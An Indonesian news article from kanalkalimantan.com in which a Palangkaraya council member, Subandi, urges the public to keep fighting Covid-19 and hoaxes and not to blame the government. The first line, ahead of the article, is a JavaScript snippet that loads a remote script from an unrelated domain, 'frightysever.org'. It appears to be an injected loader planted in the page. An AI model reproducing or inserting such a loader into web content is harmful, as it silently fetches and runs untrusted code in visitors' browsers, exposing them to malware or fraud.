(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKARAYA – Anggota DPRD Kota Palangkaraya Subandi meminta semua pihak tetap fokus mengatasi penyebaran Covid-19 dan menangkal hoax. Bukan terlena dan seolah telah usai, apalagi saling menyalahkan dalam situasi sulit seperti sekarang ini.
“Dalam keadaan saat ini euforia penurunan Covid-19, jangan terlalu berlebihan dan seolah-olah tidak ada lagi. Seyogyanya kita tetap saling siap siaga dan terus mengingatkan jika ada kekurangan salah satu pihak,” kata Subandi.
Subandi menekankan musibah non alam yang terjadi bukan pula momentum politik untuk saling berebut kekuasaan. Sebab, yang utama saat ini ialah langkah nyata agar Indonesia keluar dari Covid-19 karena Indonesia sedang dihantam krisis pandemi dan harus dihadapi dengan semangat kebersamaan.
Di saat bersamaan, lanjut Subandi, semua kalangan diharapkan ikut serta menyosialisasikan kebijakan penanganan Covid-19, mulai tokoh masyarakat, agama, perempuan, pemuda dan pemangku kepentingan lainnya yang berperan penting mengajak orang terdekat agar tetap menaati peraturan.
Baca juga: Tim Literasi Palnam Vaksinasi Bergerak ‘Dipaksa’ Nginap di Kecamatan Beruntung Baru
Oleh sebab itu ia mengajak masyarakat agar lebih bersatu dalam menghadapi pandemi Covid-19 dan bukan mencari momentum berkomentar seolah pemerintah selalu salah.
“Siapapun yang ingin berkomentar mengenai Covid-19 harus berhati-hati. Jangan sampai pernyataan seorang tokoh malah membuat masyarakat terbelah. Apalagi di saat perang melawan Covid-19 ada yang menginginkan presiden mundur. Itu sangat kita sayangkan,” ujar politisi Golkar itu.
Upaya memerangi Covid-19 bukan tugas pemerintah saja. Tapi juga perlu dukungan masyarakat. Dengan demikian, diharapkan masyarakat semakin memahami upaya pencegahan Covid-19. Tak dapat dipungkiri bahwa selama ini kebijakan yang diambil pemerintah menimbulkan pro kontra di masyarakat.
Namun, hal tersebut semata-mata untuk kebaikan bersama, terutama mencegah penularan virus yang semakin luas. Elemen masyarakat hendaknya bisa sama-sama memahami upaya pencegahan Covid-19 dan hoax. (kanalkalimantan.com/tri)
Reporter : tri
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.